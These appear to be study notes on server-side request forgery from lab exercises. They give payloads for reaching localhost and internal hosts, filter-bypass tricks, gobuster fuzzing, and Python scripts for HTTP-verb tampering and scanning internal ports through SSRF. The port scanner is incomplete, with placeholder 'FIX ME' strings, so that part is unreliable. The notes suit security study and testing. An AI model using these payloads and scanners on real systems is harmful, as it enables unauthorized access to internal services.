SSRF: Server-Side Request Forgery

Server-side request forgery is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server itself, or in relation to other back-end systems within the same organization.

SSRF attacks against the server itself

In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter).

For example, we have a POST request like the following:

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

In this situation, an attacker can modify the request to specify a URL local to the server itself:

stockApi=http://localhost/admin

- Blacklist based input filter

If this is blocked by the web,we could try using 127.0.0.1/admin or 127.1/admin or 127.0.0.1 in hexadecimal/admin or localhost in hexadecimal/admin.

If we put a wrong path like 127.1/admi it will response an error but if we use a valid one like 127.1/admin ir will response a security block so if nothing of this works we should URL encode the first "a" from admin and then the %.

- Whitelist-based input filter

Here a domain must be contemplated, we can use @ like when we want to authenticate in a web and # like when we want to search something in a web. The # must be double URL encoded:

stockApi=http://localhost#@example.com:8080/admin

stockApi=http://localhost%2523@example.com:8080/admin

- Port Discovery

We have the following, for example:

stockApi=http://localhos:8080/admin

Then we could use the BurpSuite Intruder to start an attack from port 1 to 65535 to discover open ports and then navigate trough them to discover buckups, user credentials, etc.ç

We should filter by the length and see what ports are returning information.

Also we can send a few of the to the comparer and compare words to see what things change.

SSRF attacks against other back-end systems

Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. Since the back-end systems are normally protected by the network topology, they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.

For example:

stockApi=http://192.168.0.68/admin

Blind SSRF against an API Endpoint

- API Discovery via Verb Tampering

We’ll begin by sending an HTTP request to our API gateway server with curl:

curl -i http://apigateway:8000

Then, we will fuzz:

gobuster dir -u http://apigateway:8000 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -s "200,204,301,302,307,401,403,405,500"

sort endpoints.txt | cut -d" " -f1 | cut -d"/" -f2 > endpoints_sorted.txt

To send them to burp:

gobuster dir -u http://apigateway:8000 -w endpoints_sorted.txt --proxy http://127.0.0.1:8080

To send requests with different HTTP methods to a list of endpoints with a python script:

#!/usr/bin/env python3
import argparse
import requests

parser = argparse.ArgumentParser()
parser.add_argument('-a', '--actionlist', help='actionlist to use')
parser.add_argument('-t', '--target', help='host/ip to target', required=True)
parser.add_argument('-w', '--wordlist', help='wordlist to use')
args = parser.parse_args()

actions = []
with open(args.actionlist, "r") as a:
    for line in a:
        try:
            actions.append(line.strip())
        except:
            print("Exception occurred")

print("Path - \tGet\tPost\tPut\tPatch")
with open(args.wordlist, "r") as f:
    for word in f:
        for action in actions:
            print('\r/{word}/{action}'.format(word=word.strip(), action=action), end='')
            url = "{target}/{word}/{action}".format(target=args.target, word=word.strip(), action=action)
            r_get = requests.get(url=url).status_code
            r_post = requests.post(url=url).status_code
            r_put = requests.put(url=url).status_code
            r_patch = requests.patch(url=url).status_code

            if any(code not in [204, 401, 403, 404] for code in [r_get, r_post, r_put, r_patch]):
                print(' \r', end='')
                print("/{word}/{action:10} - \t{get}\t{post}\t{put}\t{patch}".format(
                    word=word.strip(), action=action, get=r_get, post=r_post, put=r_put, patch=r_patch))
                print('\r', end='')

print("Wordlist complete. Goodbye.")

./route_buster.py -a /usr/share/wordlists/dirb/small.txt -w endpoints_simple.txt -t http://apigateway:8000

- Blind Server-Side Request Forgery Discovery and Exploitation

After fuzzing the APIs, if we have identy an url that returns an error message, in JSON for example, we can make a SSRF payload matching the format:

curl -i -X POST -H "Content-Type: application/json" -d '{"url":"http://192.168.118.3/ssrftest"}' http://apigateway:8000/files/import

We will examine the results adding or removing the ssrftest file, so we can explore different responses.

We could also try reaching internal open ports:

curl -i -X POST -H "Content-Type: application/json" -d '{"url":"http://localhost:8080/"}' http://apigateway:8000/files/import

The following python script will scan for open ports:

#!/usr/bin/env python3
import argparse
import requests

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='host/ip to target', required=True)
parser.add_argument('--timeout', help='timeout', required=False, default=3)
parser.add_argument('-s', '--ssrf', help='ssrf target', required=True)
parser.add_argument('-v', '--verbose', help='enable verbose mode', action="store_true", default=False)
args = parser.parse_args()

ports = ['22', '80', '443', '1433', '1521', '3306', '3389', '5000', '5432', '5900', '6379', '8000', '8001', '8055', '8080', '8443', '9000']
timeout = float(args.timeout)
for p in ports:
    try:
        r = requests.post(url=args.target, json={"url": "{host}:{port}".format(host=args.ssrf, port=int(p))}, timeout=timeout)
        if args.verbose:
            print("{port:0} \t {msg}".format(port=int(p), msg=r.text))
        if "You don't have permission to access this." in r.text:
            print("{port:0} \t OPEN - returned permission error, therefore valid resource".format(port=int(p)))
        elif "ECONNREFUSED" in r.text:
            print("{port:0} \t CLOSED".format(port=int(p)))
        elif "--------FIX ME--------" in r.text:
            print("{port:0} \t OPEN - returned 404".format(port=int(p)))
        elif "--------FIX ME--------" in r.text:
            print("{port:0} \t ???? - returned parse error, potentially open non-http".format(port=int(p)))
        elif "--------FIX ME--------" in r.text:
            print("{port:0} \t OPEN - socket hang up, likely non-http".format(port=int(p)))
        else:
            print("{port:0} \t {msg}".format(port=int(p), msg=r.text))
    except requests.exceptions.Timeout:
        print("{port:0} \t timed out".format(port=int(p)))

./ssrf_port_scanner.py -t http://apigateway:8000/files/import -s http://localhost --timeout 5

We could also try to investigate subents based on the time response, some APIs, send the response in less time when the port is closed but the host up and more when the host is down.

- Source Code Analysis

Example with Directus (open-source):

The readByKey() function of FileService is responsible for checking authorization. FileService inherits the readByKeys() function from ItemService. The processAST() function defined in /api/src/services/authorization.ts handles authorization.

Since the application downloads the contents of the submitted URL before checking authorization for the storage and retrieval of those contents, the application is vulnerable to unauthenticated blind SSRF.

Last updated